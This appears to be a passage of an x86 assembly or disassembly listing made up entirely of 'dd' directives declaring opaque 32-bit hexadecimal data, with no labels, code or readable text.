		dd 0FFD0301Dh, 0B271DC90h, 588E44B8h, 0A0B88D00h, 0CAEC7491h
		dd 9C0E0780h, 0D747D0F2h, 40297D29h, 0D7461497h, 7B2ACA01h
		dd 316611FDh, 60260422h, 78282168h, 0C430836h, 555796A0h
		dd 921B1718h, 950E5059h, 0EB16ACC4h, 68082F42h,	9A0A8010h
		dd 0DA385318h, 0F03A512h, 18C91C32h, 420B5B62h,	0A20AC89Ah
		dd 901E7288h, 0B917ED98h, 0C9A15F0h, 8827D110h,	0AD962C2h
		dd 0F0F4F70Fh, 0B398A6h, 0E94FD5A0h, 3DDE0ECEh,	0CF0FC800h
		dd 3AE6FA24h, 646307F3h, 21C1CC8Ch, 3B403EACh, 9334CCh
		dd 3A26DCF4h, 6AB491C5h, 70F57800h, 0ABD82ED9h,	0BF31160Eh
		dd 2F3CA17Ah, 0CC205844h, 96A440BEh, 3AB5035Fh,	0EF3C4000h
		dd 64B795A7h, 5BAB1F1Ah, 0AA6E8F65h, 60BC7243h,	0B4C32BC0h
		dd 0FE629100h, 9CBBA783h, 0A6333D0Bh, 0C137FD00h, 5F8AD8E0h
		dd 0EA126A79h, 0B0AD944Eh, 1844622Dh, 82B33B00h, 0DFFAE325h
		dd 347500E7h, 8A2C18C8h, 0C31D45F7h, 4FC406F4h,	0A4AC108Bh
		dd 112FF0C6h, 7876F38h,	29152240h, 5580ACDAh, 0B5A2F547h
		dd 0BE3D00CCh, 0CA1A39E7h, 349A81EFh, 0B7F609E6h, 4D1ED500h
		dd 5120A0AFh, 0DDFE079Ah, 0C7C7A5AEh, 7E2E303Fh, 0A200059Dh
		dd 0EB0FB3BEh, 13A752Dh, 117BDF35h, 0D4F6AAA8h,	0C601DB60h
		dd 28BEA9A1h, 0E5FC2502h, 0C44C000Ch, 0EBC6CB3h, 630C8407h
		dd 50FCC276h, 0E87E003Ch, 2FFF5CE2h, 0AD00105Bh, 0CCB2C44Eh
		dd 183716FEh, 20D2D4B6h, 0CB1432A2h, 0F720F648h, 6D60A934h
		dd 5307CED7h, 1E6383DBh, 4B5D5FF0h, 265A064Fh, 0A1209D7Bh
		dd 0F527071Dh, 0A6A2F803h, 0F100A4BCh, 0EA3E2E9Bh, 96B6150Eh
		dd 84159Dh, 57B561D6h, 0C082F0Bh, 0C083E212h, 0D1608B40h
		dd 0DB40F049h, 311A00B9h, 0EED8A80Fh, 1C001237h, 0C5B183A7h
		dd 32F7DE1h, 0F7F91E9Dh, 7900B7A6h, 1B6655D3h, 3AC7653Dh
		dd 8E634C2h, 4DE621CCh,	85AC661Dh, 55AFCDC0h, 0A8952E5Fh
		dd 181A94D8h, 0D8C26AF0h, 0B6445128h, 0C5FB88BEh, 54682C00h
		dd 533897C3h, 3F09026Ah, 18E87986h, 0EC14BC82h,	3AA8032Bh
		dd 0E1F818A3h, 24F808B1h, 0C1041D01h, 0AA8F1784h, 0B4A78140h
		dd 9D5A0C8Ah, 6228A552h, 9C14A315h, 180E78D8h, 40128201h
		dd 79B7E217h, 0E08CCE7h, 0F9003E61h, 1EB49B81h,	3D73524h
		dd 0BA34D410h, 0FDD920F4h, 0A2818061h, 0E214514Bh, 6891FF6Ah
		dd 81FE8011h, 8CFF820Fh, 3B1044h, 0D34F81F6h, 7A0541EAh
		dd 49DC6400h, 39CD1940h, 4B29C30Ah, 7107C78Bh, 0ECBC43Fh
		dd 84099350h, 5712054Fh, 42B9A636h, 0ED8DBCACh,	3590B40h
		dd 4B041F01h, 510DEFB2h, 8CE018D9h, 0C7AC0124h,	9CD63C07h
		dd 0B0B18001h, 54BF6CD7h, 0A4361F63h, 79F3185Dh, 0D609CBEh
		dd 65D8EB91h, 0C01A0135h, 6DA62322h, 0BD29DC9Dh, 190B63Dh
		dd 5CCEEF21h, 2040E32Ch, 594AFC2h, 0A3637849h, 2946015h
		dd 82231381h, 138201Fh,	0A981FA3Fh, 0D7912DF2h,	1DE08DBBh
		dd 5893F8F9h, 1C665601h, 0E6D3Dh, 0AA664EF9h, 205F0EB6h
		dd 0B106AF56h, 0CF8CEE14h, 0C68338A9h, 0DF7E4880h, 4C5C10C2h
		dd 0C5643603h, 0A839079Eh, 61300815h, 8D3E31C1h, 494DF5BBh
		dd 5C5EF0C0h, 7BC6D805h, 542EC267h, 2300CE23h, 6EE74D5Eh
		dd 51471D8Eh, 3F194124h, 511740CDh, 24ADE08Ch, 0A1000544h
		dd 7176F0EBh, 11F5F3A4h, 29D63h, 0C3CD57CEh, 8652E9h, 0C9FC1B5Ah
		dd 85270873h, 722CB449h, 0A905E809h, 0A71C0403h, 0D440C8h
		dd 0B450247h, 1517D5F9h, 37817A07h, 1FF70183h, 0B4E283h
		dd 0ADCF2C89h, 412BF672h, 0B74FBC00h, 0B47B21F2h, 51920047h
		dd 151B714Bh, 830DBA67h, 68B5766Eh, 0C9C8E80Eh,	3CA817C0h
		dd 278998Ch, 0EDEC5294h, 0A7C85E63h, 641396F5h,	0FA078AB7h
		dd 0DCE0D69Ah, 480BA5A2h, 0C30FCC84h, 84D52683h, 3969CD00h
		dd 827CBCA4h, 19C26EF8h, 0A0B13741h, 0F201FABCh, 0DBC3C73h
		dd 0A6E1060Ah, 19C28080h, 1A2C5477h, 23FCD80Ch,	0C0B60802h
		dd 7711E521h, 4433B22Ah, 0E819C9B8h, 1D35AF76h,	0CEB1A3CAh
		dd 0E5E0424h, 3FA779BAh, 759C90B9h, 2B4C8842h, 0D1C0118Ch
		dd 4BD3316h, 41C7EF7Ch,	11F31227h, 0CC5B388Ah, 394782A8h
		dd 0BC80A402h, 68814085h, 0BD00A9EEh, 41FB5487h, 0C0B72A71h
		dd 0D516F820h, 20A74C03h, 0C0652288h, 8B4EB428h, 0DE018C91h
		dd 4801BC11h, 7BA71DF4h, 603AB03Fh, 0A0421D2h, 0CD0676BCh
		dd 892EEB6Ah, 9A881B0h,	77081C18h, 0C4322C57h, 14E840BAh
		dd 6A6977h, 5D79AF25h, 19B87D8Bh, 0E476490Ch, 0A0A229ABh
		dd 642FA704h, 0C01310F9h, 1CFFBF8Ch, 138A158h, 3949C7BBh
		dd 0E981B5A6h, 0A5432A28h, 83BCF0A9h, 0C3BE2B1Bh, 5E50C748h
		dd 0AB0082Eh, 0F3D03082h, 22A42088h, 0B136D16Ah, 90703142h
		dd 49BD0C7Ch, 5920D08Eh, 99828C30h, 3C6B3D24h, 9B87F9Fh
		dd 0FB264780h, 52B88BF4h, 0C2432C00h, 3EC44F38h, 0FEB503AEh
		dd 8C63FF5Fh, 302C5EC8h, 5883B614h, 1F284044h, 0B17E3F18h
		dd 184B6531h, 80CD9249h, 37243881h, 471F1CCEh, 18B40A0Ch
		dd 0CF2810F7h, 398404C4h, 4B01B9AAh, 0ECFC960Bh, 6924BD9Fh
		dd 2840084Eh
		dd 80A1EFE4h, 53F08284h, 4B10E160h, 6FDB1039h, 3B84706Ah
		dd 5A705B9h, 0DFC0C424h, 3FBD7E2h, 753EFA18h, 0CFA0E6C7h
		dd 0AC608024h, 0F1841929h, 1F24B0C4h, 28AD416Ch, 0EECA44B0h
		dd 0CD79727Dh, 7B0CE4B1h, 0F83B488Dh, 0CFE0049h, 0F0DF7FCEh
		dd 0D8093A2Ch, 87800414h, 0DC402574h, 6143B241h, 9DBD5083h
		dd 0B30897E2h, 3FBB390Fh, 9C073C2Ch, 174DA91Dh,	0AF0DC61h
		dd 0BCF550CAh, 374501A7h, 6D1CBDA0h, 0E1F880E6h, 0F8B0FC2Ah
		dd 0F7CC320Bh, 0E8103129h, 81689E7h, 1DF944B1h,	0E075A88h
		dd 8EE79779h, 217525A0h, 0FB00AB8Dh, 88381AA1h,	0B8C7A933h
		dd 48E629h, 0D556520Ah,	65E5E198h, 6D692100h, 49F5ACE9h
		dd 6B3700D0h, 27A9B577h, 0E1005B5Eh, 0B062B88Dh, 3BD3FA98h
		dd 0A400F557h, 3C9F9CC9h, 473C0DF8h, 29CAB1BAh,	7500045Ah
		dd 0DB00879Ch, 0C4F4AA8Dh, 501577h, 0CD2969B2h,	1FB56EAEh
		dd 583A8318h, 1F08611h,	8C0CEA36h, 0F4889048h, 8D00A353h
		dd 1A01F7Eh, 1D49A6CCh,	165E61Ch, 3986CB4Bh, 6EBCEC7Dh
		dd 721B8B03h, 0C0770ECEh, 98AF2889h, 0D860537h,	0A7AAE2h
		dd 2B4A37D0h, 0D000C324h, 5E4DAEB5h, 1DF4047h, 69CAD2EBh
		dd 0EC545B7Ah, 0D5007962h, 640A95E7h, 48972275h, 1F0075F2h
		dd 0FB368976h, 7E01145Ch, 68EEAB91h, 7FF8E810h,	0C28C0B6h
		dd 4EED56F4h, 1700EC76h, 6700D28h, 0F08BB01h, 72A58CAEh
		dd 124D1140h, 9A002EBAh, 71B192E1h, 69F9BCCh, 0C1A4F490h
		dd 86001196h, 0A2F3ADCBh, 374FD57h, 188E393h, 0EFD0EC8Bh
		dd 0F57456D6h, 7CED5906h, 7501DA1h, 4B9F31A8h, 75E02EC3h
		dd 0C41E6BBAh, 2D5A3C03h, 0A976A572h, 0D4348615h, 47F1057Eh
		dd 40C39478h, 929651F4h, 0D4E2C0E3h, 9E79CB3Ah,	81999071h
		dd 3F9A20h, 14CD09DBh, 510CF069h, 21381E03h, 0AA0600F3h
		dd 74EE6D9Bh, 0C50931C7h, 203F365Bh, 3C7D1A28h,	0B85D004Bh
		dd 0B1ACDAC2h, 0BA00E382h, 7F13188Ah, 736A0B78h, 265403D4h
		dd 84161AA9h, 0E8C062FBh, 0AF00127Eh, 0B906A3BAh, 175BDBh
		dd 0EB7DC4C9h, 0FC8E0580h, 0A018A701h, 9D31BB10h, 5B57C8h
		dd 714D9AD7h, 7761ADF0h, 5C640409h, 38680046h, 0CC07C80h
		dd 17CA8D70h, 8F244AC8h, 11315D72h, 5C205B01h, 83700019h
		dd 88B3069Ah, 0EA008E3Bh, 9251984Ah, 48E46745h,	0C0066A5h
		dd 2097F57Ah, 4F183382h, 0DA488A08h, 79613941h,	2A31B007h
		dd 111530EDh, 77009D3Dh, 0F021DD95h, 5556620h, 3E69E388h
		dd 9F889043h, 8C0093B2h, 161D382Bh, 2AFC6B5h, 3A5347A8h
		dd 67E0D233h, 0FA00C5BBh, 0FD503CE1h, 0DCCC72h,	6559FF8Ah
		dd 0F0DE8712h, 0C5639E02h, 4090167Bh, 78D068h, 20372C50h
		dd 534D4283h, 0F4E7BB24h, 79BA280h, 1337296Ah, 3AEA347h
		dd 0BA1E1034h, 2302200Eh, 7514A0A2h, 0CA2972h, 84EF0D87h
		dd 0E5FA3ACDh, 51A8B4A0h, 0B94FC705h, 800090B5h, 0DB2C896h
		dd 9370720h, 47EF2FF7h,	30C4B0BCh, 61144594h, 9C54F6h
		dd 444E6B26h, 1B48DD1h,	276AB021h, 20821F36h, 0BD00B71Ch
		dd 0EC4D44D2h, 9C6E259Bh, 5CFF0038h, 0DF861164h, 149FF103h
		dd 0E82D8071h, 0EAB80AFAh, 41940089h, 0C2B27521h, 3B009CA3h
		dd 0C4252C49h, 3B5BCD3h, 41485F53h, 94C84630h, 0B3099ACAh
		dd 0D14573h, 7725BA0h, 8871005Eh, 39FC10Eh, 8B00437Fh
		dd 0B1B34112h, 0EA7C49h, 7B377095h, 0F66907FFh,	0FA38B1Ch
		dd 0C1BE8889h, 9640F1DCh, 9FE1404h, 4215F760h, 16D2CC20h
		dd 0CC3EE7D6h, 0D067265Fh, 86991980h, 0C29A12Fh, 183F2370h
		dd 49000431h, 5C018CDFh, 57876Fh, 73819845h, 39D38ADAh
		dd 0CB53A91Ch, 1AB5B480h, 3F3428CEh, 7482D9E1h,	6872645Bh
		dd 0F676A4C8h, 0E8352D00h, 0FD4A860Ah, 693E6018h, 0FB0622DEh
		dd 1EAE891Dh, 0B9C0B081h, 65CDC5E9h, 982DF020h,	36BB005Ch
		dd 89FF5C30h, 1709DBCBh, 804771C4h, 195B69Bh, 0C6250080h
		dd 0EFA435Fh, 60E98309h, 8200D5ECh, 35B0BEDh, 7FE9997Ah
		dd 77270094h, 4B4961Eh,	3B1C1DAFh, 0BCC0DAF6h, 41C2BE76h
		dd 514D0105h, 0E1DD94D1h, 0BD80605Dh, 0F7AC440Bh, 937C0074h
		dd 1B36C7CAh, 0D14B04E8h, 55DD809Fh, 0E20024C1h, 0F463D0F3h
		dd 3D5C9818h, 0E880A8A4h, 1A42DE99h, 0E6006662h, 72F6F2A9h
		dd 0E4065Fh, 0DE6DF5B6h, 4B349DDAh, 0AFFEB701h,	5B1353D4h
		dd 249E36D4h, 804305h, 75077E85h, 193D911Dh, 0CD388060h
		dd 77E23529h, 0F2DA00B8h, 98EAE487h, 99482D07h,	953EA4h
		dd 5A9D3BB2h, 4AE4B6Ah,	19F98C44h, 0BC8C8098h, 6F1D8678h
		dd 0E8E667D2h, 0E76B4900h, 848EAAh, 6E246D0Bh, 78EEAE5Fh
		dd 3C66FF00h, 56A9B844h, 0BB724Fh, 620BF9ECh, 0A4F88C75h
		dd 1A182800h, 81154445h, 2619007Ah, 4031720Fh, 42008521h
		dd 0C9B75B51h, 26944DE1h, 0BF986C77h, 27700E03h, 70074F6Bh
		dd 1678E57Bh, 4E6F0C90h, 0A5410010h, 895EE95Ch,	5F00F5E4h
		dd 0C6C04CDEh, 25634E3Ch, 37F5Dh, 17A886D9h, 87000F67h
		dd 0DA0F5A5h, 227B2Bh, 0B308B89Ah, 0CF024729h, 8900C8E6h
		dd 1955D6D2h, 0E56561h,	69EDE9A0h, 50C9752Dh, 73EAB812h
		dd 0DEA70400h, 8CE6DBh,	0A2FD8D05h, 604A31Bh, 751E4900h
		dd 372D3588h, 8C92F8h, 0A74A3C2Fh, 843DD1BAh, 4AB1673Fh
		dd 8618E400h, 3D46C831h, 3C049C06h, 0C0ACFFA4h,	0F0848B94h
		dd 0D0898309h, 64382052h, 7AE6CDBBh, 1BFF1879h,	1DD9193Bh
		dd 37CBB41Ch, 0E45AF086h, 6DC30561h, 0CD9A7Bh, 0CB155C81h
		dd 89A3825h, 87C44800h,	0B14FC8D0h, 192A6068h, 1B881EB4h
		dd 7788B960h, 0B8DF2970h, 0F8D0ED60h, 0EB732CCCh, 0D1D4018Fh
		dd 0C89C3044h, 573450BDh, 518378BFh, 870BF071h,	0F38301E9h
		dd 0F1BC526Eh, 0E9F704Eh, 8F786500h, 0A9927F24h, 98733Eh
		dd 0BCB155C0h, 0CCC468D3h, 0D179E400h, 0ED90FBE3h, 0A00B00F3h
		dd 0E81F07F9h, 0FC4CD81Bh, 0DF810038h, 888208E2h, 0C979513Fh
		dd 909518BAh, 450184C2h, 47FF1CE0h, 0D0F5D1C0h,	65507A96h
		dd 9E014110h, 0D7D229FDh, 0A0F32C54h, 80F70D60h, 0B6F8F22Bh
		dd 5FFF161Ch, 12AF06BCh, 28282E4Dh, 2D246779h, 90206E10h
		dd 430F64F9h, 0BDFCFB07h, 41501CE8h, 0C2A1FD78h, 82245150h
		dd 9C00EC72h, 0B3BBDB85h, 0F1F603Fh, 0D350491Eh, 0A15B67E0h
		dd 0A907A4FAh, 748478C1h, 54E5D454h, 0E183041Bh, 1016C3FFh
		dd 48800E8Bh, 0C419B26h, 3D9CC44Fh, 30006191h, 8BFF6007h
		dd 0C4F5EBF8h, 48442328h, 9A04229h, 0A740E424h,	2EB90C05h
		dd 479A8700h, 0D52819BCh, 75B3FC4Ah, 3C300260h,	59CCC9E9h
		dd 0E3445060h, 0D4F13Ch, 5D647B6Bh, 26F006FCh, 0B09D7E8h
		dd 0A807C7EDh, 8179551Bh, 2593FE80h, 2C31405Ch,	18E44AD2h
		dd 80FDFC00h, 0DE0EF644h, 36E10081h, 0E39B93BDh, 6C0BE450h
		dd 0BE3A46h, 79D2623Ch,	57FE17h, 0D3700409h, 25BBEA82h
		dd 43924B1Fh, 760E26C0h, 0ABCA60DAh, 52E5A0A4h,	947072F9h
		dd 688933F8h, 2AF78112h, 88ACD040h, 0BA2D15h, 0B01356FAh
		dd 0F11769D6h, 0A885E4B4h, 20003826h, 7C5AA7BBh, 77B800FDh
		dd 8EFE6A89h, 1106F8ABh, 30EC9569h, 4DF100FEh, 2A077861h
		dd 3A01470Eh, 0AFF996B5h, 0A820130Ch, 0D1B806DAh, 201ED65Eh
		dd 0C8B6FA00h, 0CAA5F4ADh, 0BD0A0F46h, 0D0E05CDFh, 1A5B84CBh
		dd 710D4400h, 32F38128h
		dd 47DD076Bh, 735DAAh, 41F01168h, 0B02C982Eh, 71119618h
		dd 0BA4C1105h, 0E08F3C7Ah, 4FF5886h, 56A42EEBh,	9FA99010h
		dd 0D009380Ch, 0D4202CDCh, 7E36008Ch, 6127FE82h, 0BA5F9A00h
		dd 6AEC80E4h, 62A601F7h, 0C5CBB643h, 87801h, 3E57ACDh
		dd 2E72FB53h, 63E191h, 8E166F20h, 0A607FCACh, 0E2EE3315h
		dd 0F5C0B435h, 2FD39BAh, 8CC94944h, 0FC69D9D5h,	70C034B5h
		dd 8B04F498h, 124BBFC2h, 2C52A8A0h, 495C5DCAh, 0B2019814h
		dd 0A845604Fh, 1984FD61h, 81CB267Dh, 40DB8A00h,	7BF3BAD0h
		dd 0AA0C9494h, 48C629B4h, 0DF00145Dh, 180ABB79h, 8906A9FDh
		dd 420F7B1Fh, 0E42C001Eh, 2B23991Ah, 6101FE94h,	4E2BB5Ch
		dd 0CFC43B9Fh, 80A33C5Eh, 7BAB07FFh, 302FF6B3h,	64F7AFB1h
		dd 7600DDB8h, 7A47B2E9h, 4039DA6h, 15F291EBh, 6228A04Bh
		dd 0E89FE614h, 722A0FB7h, 3BB4076h, 498507h, 0D0169591h
		dd 0EDFE8717h, 2C03984Fh, 80B0921Eh, 124022AAh,	7AE3690h
		dd 0E0391DDFh, 0FE98F080h, 0CA00A8E8h, 0D8DBA09Ah, 0E029BEh
		dd 4F29B28h, 3A62D11Bh,	0E8DF5200h, 17B01293h, 70585CABh
		dd 0BAB45780h, 0C8025AD3h, 0F276E770h, 0E046089h, 790300A2h
		dd 0C971FECDh, 0E800F30Fh, 1E06979Dh, 0E215ABh,	3339A966h
		dd 0FF530D34h, 93416E00h, 9A1E65B6h, 1646002Eh,	0A10B83DDh
		dd 905C0D3h, 77204F05h,	322CBCC1h, 0BC00483Ch, 0F2EB23DBh
		dd 0EA00E085h, 67B56E02h, 0CA068Ah, 56921611h, 15A72008h
		dd 0B830C000h, 0CEDAB7FFh, 4EE01ABh, 0F599026Eh, 0EB1080CDh
		dd 87E9038h, 80BC008Ah,	1EA3A614h, 26F87CB0h, 1F7F877Ah
		dd 0B222BE00h, 0C2ED6048h, 1DD0C08Dh, 50F4EADAh, 0C7005BF6h
		dd 0DCF3E82Ah, 7F73D4h,	15FEEC91h, 937AC982h, 80263Dh
		dd 58C114A8h, 3976B62h,	0E69EE534h, 0E80032B8h,	0AA6ABB3h
		dd 1BDD8C7h, 9B5AA96Ah,	0DDB10CDBh, 80032ACh, 2BA469Ch
		dd 0E4DEE174h, 0D619D883h, 0C3C000ADh, 6D2561E5h, 16ED711Eh
		dd 0FC058E68h, 4CEA7E2Fh, 0CCA4A830h, 0AE40077h, 0AC89D774h
		dd 9B00EA2Ah, 9A0440C0h, 399656FBh, 0DD3DE6F2h,	6D66BD89h
		dd 4AB7A800h, 500F8027h, 86D97046h, 983A02h, 41F391FEh
		dd 0DFE9A188h, 0C43F842Eh, 0A0287809h, 53D07C40h, 5748C0DEh
		dd 5D6EEB02h, 0C2B2102h, 6FCF99h, 81C8CD39h, 39123430h
		dd 67E9C6h, 79FDD927h, 78EBD33Dh, 306EF030h, 9ECA410h
		dd 0CE8DE0C7h, 0C806F004h, 3F034774h, 0D193C180h, 55C890EEh
		dd 9CD85173h, 1B308DE9h, 0D01F01A3h, 1B2256C3h,	2FB9F8A4h
		dd 828E81Eh, 165EFB80h,	0E86814Bh, 84059BE4h, 3CCB6E80h
		dd 0CA25D0BBh, 557C0079h, 8B6C03h, 19FB82DBh, 0A7891569h
		dd 169DF703h, 0A82F8434h, 0E65B76BBh, 3DF60F3Ch, 0CD80C142h
		dd 5D1551D1h, 0A0DD610Fh, 2BC4A1E9h, 13006D77h,	700474Ah
		dd 0FAD2468h, 464E2C0h,	5CCDD220h, 0FC70D00Ch, 452CD88Fh
		dd 4BA7483h, 82075034h,	771504C0h, 8C64242Eh, 0EC003D80h
		dd 0B0461632h, 0E250D114h, 0FF0FE780h, 459BF486h, 0F890C5A3h
		dd 1FD743h, 331B82B2h, 75EF52C0h, 0EC3BA900h, 975C4F08h
		dd 11CD009Fh, 0B35BDBA8h, 0DE1E2C06h, 0D82C633Eh, 1056D280h
		dd 9DA5C58h, 68E6E299h,	0F5786301h, 8604C0B8h, 0F7884000h
		dd 77095E8Eh, 8DE50295h, 1A702002h, 1EA67468h, 8CDC3C03h
		dd 57EAEA9h, 17F16ED8h,	1868F43Bh, 0D6260100h, 0F3CF1D59h
		dd 0E533006Fh, 0FF4D8909h, 6403A222h, 77BB3A16h, 87CED129h
		dd 0DB5EDCh, 0F775519Eh, 38561AEh, 0CD74C301h, 24580815h
		dd 1852E6h, 45A7E836h, 11FF1CF0h, 24DC3D0Ah, 34061081h
		dd 25F9A7E4h, 6C07DA29h, 414B47CAh, 40BC35A1h, 0B8A92510h
		dd 0E2BF7F03h, 0A0D7820Fh, 1DEAAF1Bh, 7E83BA6Ah, 0A7039E5Ch
		dd 0C72D3F12h, 0B452789Ah, 0EDE66010h, 87602B30h, 3E60C6E9h
		dd 0DE3D1328h, 4C835524h, 7EA19CAh, 268841C9h, 0F1AAE100h
		dd 93F8B001h, 38721835h, 1FDCB2D9h, 450E0076h, 0BDB6C44Fh
		dd 9D18862Eh, 1E50A455h, 0DE1B07BAh, 90334F57h,	8AAF3B73h
		dd 6C5EB000h, 0CBD7B5F2h, 0C71E00E1h, 77F8D0AAh, 4B00790Fh
		dd 1CDAACB6h, 0B49A07h,	750C6739h, 0C6AD6A49h, 3070F4DDh
		dd 76FFD4C1h, 868E50E4h, 0DD7AD1h, 809885E9h, 84BEF316h
		dd 0EA892400h, 0E375187Eh, 4AB500E7h, 0D2CFC65Dh, 0E500161Fh
		dd 5ECD73FFh, 86E387h, 7EFD572Ah, 5AA3F527h, 0DB590D00h
		dd 0D98A2681h, 73C50019h, 0C2D1D069h, 0EA001725h, 4BDD6FFFh
		dd 0FA0D997h, 92D85FF9h, 78A307A0h, 0BE0B622Eh,	0D03D0Ah
		dd 6CCCA945h, 5C0C96B4h, 2C7FB74Bh, 83EF0442h, 0DD43E1h
		dd 4800A10h, 39A7A9A5h,	0F8042A5Fh, 1E44F496h, 65646EFh
		dd 11254229h, 0A21F658h, 9007E908h, 0F7AC8411h,	1642F648h
		dd 29FD2209h, 90D80427h, 0D9684E2h, 5942E948h, 21CE24FDh
		dd 0D5120F2Ah, 41019D10h, 0B210CA6Bh, 8C18915h,	51086484h
		dd 1AC421A6h, 5210AD12h, 9229C40Ah, 1B7844EEh, 7479948h
		dd 847E90C8h, 85481D20h, 2E0D7542h, 202D8470h, 6807148h
		dd 8B3B1DB3h, 0C9AB0033h, 5739C518h, 0C63D4EA7h, 4DDF87E4h
		dd 60FE266Bh, 0F2EEA5ECh, 7D350071h, 0CC50181h,	51018D11h
		dd 0DC74ED99h, 0B06069C6h, 0F7FA01C3h, 0AF228CE6h, 0DA864B9h
		dd 0D4CEC400h, 8218F557h, 2B47F20h, 0E24DA737h,	0B454F96Fh
		dd 0BF9B0700h, 980240h,	0C9F880B0h, 67CB4E4h, 6DA92A00h
		dd 0C470DB50h, 451217F5h, 0CF800003h, 74E3C713h, 0E5A011C0h
		dd 320937Ah, 0B021572Fh, 0BBE87FCFh, 9800F2F4h,	4B349E59h
		dd 3787ED4h, 9DB0C683h,	3D91EA31h, 790C6CF0h, 0C6847026h
		dd 6C53CD02h, 617848EDh, 5C500BF5h, 24807FA4h, 2089CC4Dh
		dd 3DC53800h, 92B0221Ch, 3E7826h, 0B9A4762Ch, 0C60D14A9h
		dd 0D0BA0600h, 9DFA0B5Dh, 88F503B3h, 0F9F63ED1h, 8713103Ch
		dd 0A1AC0153h, 58078F1Ah, 0F283DC23h, 95883FD5h, 8A1CBF20h
		dd 0D2C0771Eh, 2E8CE7ADh, 25731DAFh, 0ACEF9E20h, 0C90A0051h
		dd 1B21BDD4h, 0DB750D00h, 0D8E9355Eh, 618F00AAh, 0B3FA2A28h
		dd 0C90EA6F4h, 0E4B80648h, 0C7C0BA6Ch, 3439F6h,	3D491FAh
		dd 0D942AE9Ah, 0E46C7628h, 7CB83C00h, 90CD512Fh, 0F7601444h
		dd 2507C068h, 20D84D6Ah, 0D1F0E0A4h, 0C5CA331Eh, 0FA91DD80h
		dd 76EB83h, 93A63C75h, 551AAA8Ch, 21C03700h, 8468EFD3h
		dd 0B49800F3h, 8EE0B1F9h, 0FE7CEEAEh, 60171500h, 8B2DB529h
		dd 37860044h, 0CAD27396h, 6005C70h, 0EC1AE5E9h,	0FA8EBFh
		dd 0F4881067h, 5A125257h, 53007076h, 180371DEh,	17A05ACh
		dd 0F8F6AEE8h, 0F82BE5A5h, 0E02792D9h, 0C00B8Ah, 0CEB23698h
		dd 734705ADh, 802DAC23h, 11B3A2A4h, 42CD2003h, 0D85BAE9Bh
		dd 77E1342Ch, 6CBF2556h, 0B8DD4848h, 677E6D00h,	0F00CFF60h
		dd 978700E8h, 1B107178h, 0EB00FD04h, 0BED98F02h, 127B39Ah
		dd 4CF184F9h, 0F0820D60h, 20099EBh, 158D1770h, 9C623079h
		dd 0E67C00BCh, 117A102Ch, 92092373h, 1BE41Fh, 795DAC44h
		dd 0A8B550DEh, 555F03Eh, 309A53CBh, 4F15BB2Bh, 88410750h
		dd 8EC46F5Dh, 24033481h, 3E1462F4h, 93A5C80Fh, 0CA2E208Fh
		dd 1140B6EFh, 5EDDB84h,	6F69A01h, 0C78AD1Eh, 3E5EE420h
		dd 0EA007B04h, 2090088Fh, 0C6003D4Fh, 0B52DA33h, 34C044Dh
		dd 0DFEB32EDh, 23E0CA72h
		dd 510308C4h, 2B1AAE75h, 6958814Ah, 34F9F8h, 730B8287h
		dd 9F8499E5h, 2BA2A91Dh, 0BCB9458Ch, 0F4611C6Bh, 830EC04Fh
		dd 0BC25F1DFh, 2B039800h, 3601DE7Dh, 1D9C90D9h,	0AFF672h
		dd 823A7AFCh, 0CC000886h, 59951813h, 26A5A1h, 0EE9727E0h
		dd 3517A8FDh, 0A22E8500h, 32BA0FC0h, 46A00050h,	2D7BDCBEh
		dd 781D0E49h, 910098F0h, 1B57D6B8h, 0E3672663h,	0A05B12FEh
		dd 0FA137398h, 9CC04161h, 308F5560h, 37D239B3h,	792513CBh
		dd 4B74E0E9h, 5E94FE31h, 0EACC00F7h, 882B987Fh,	38D1C02Ch
		dd 2EA6AB00h, 20F7175h,	294F58ECh, 9B400773h, 7600E1BEh
		dd 884B0695h, 479B84h, 48EBD461h, 0BE778E7Dh, 80D0703Bh
		dd 0FF4EAFC6h, 0B1531h,	0FABF7F98h, 941F24F6h, 6CEFCA00h
		dd 0B3E9558Ch, 993500ADh, 0E529A94Ah, 0AF0F579Eh, 0C0127FC7h
		dd 9CCC38C9h, 41280007h, 3087466h, 45002ABCh, 2C31D047h
		dd 1A4EBFBh, 329EEE02h,	0E0506BC9h, 0A100372Eh,	1CCDC205h
		dd 3BC1E88h, 0E1E5D1C4h, 0F8042FFh, 0EA0353F1h,	2BFCA532h
		dd 753EC848h, 520D00E5h, 0F0A2F24Eh, 0B78B99Eh,	9FF62000h
		dd 83FD2BE3h, 0BD922458h, 0D6C3005Ch, 6456B7BFh, 0E1424900h
		dd 6ACBD3F2h, 575E2477h, 0E7EF0061h, 690DCEF1h,	9621740Eh
		dd 23AD00F0h, 3E917Eh, 0CA1D0AB3h, 0EAA7F18Fh, 0EEAB8102h
		dd 5C749CF4h, 0FC628024h, 716FB955h, 3E70E448h,	0A53080CDh
		dd 2479BBCAh, 2C3733Ch,	40D7EEE2h, 0C040A862h, 58008F30h
		dd 9C31E080h, 0FEFA711h, 78F1275Ch, 0B0FB67E7h,	1A23DF0Ah
		dd 1CF35Ch, 730233A0h, 365636Dh, 68E312FBh, 0C0E31DF6h
		dd 29C25BB8h, 8B522800h, 0CA4147DEh, 55DF0137h,	69F54CDDh
		dd 16CEE0F1h, 630C7C04h, 60E5B229h, 71049E40h, 9DF0099h
		dd 9F86F2EFh, 15008E26h, 74E8B061h, 3F50188Bh, 0AF8095B6h
		dd 39F83F44h, 0EB1202F7h, 340382E3h, 0A766A2F6h, 737964A0h
		dd 449E86h, 7B5DF345h, 0EB0072CBh, 78055909h, 0E8DE797h
		dd 1F742406h, 6B66ABA3h, 2DE62C98h, 75B13204h, 74ADC1BDh
		dd 0D93E3C4Ch, 871CB485h, 340C065h, 88B03739h, 0F08E0504h
		dd 94D0EBA6h, 0F965FBh,	7256CD88h, 0F68E984Dh, 0D2C0AC77h
		dd 0CAA8D6DDh, 0CA00265h, 0CC622770h, 0CF48E080h, 0AA74E830h
		dd 340544B0h, 0B39B089Eh, 0F0F7DC07h, 66602537h, 0E0FC79CFh
		dd 0CC7B004Dh, 0AAE3C007h, 7D1C0E15h, 6A9C9B23h, 8A5170Bh
		dd 0B200EC33h, 0C155E846h, 16222571h, 0AFA37468h, 994C90Eh
		dd 0E220C081h, 1488F93h, 0F86F57C4h, 0C8840C65h, 58003653h
		dd 664A96CBh, 25761093h, 0CCE04DFBh, 5F00ACE9h,	1255135Ah
		dd 3FFF061Dh, 1180A99Dh, 0C95EEB86h, 843C8A74h,	0F0CCD1BAh
		dd 4F1D31BFh, 0DD40479Fh, 6345D92Ch, 0D25A00B3h, 61EB3FF0h
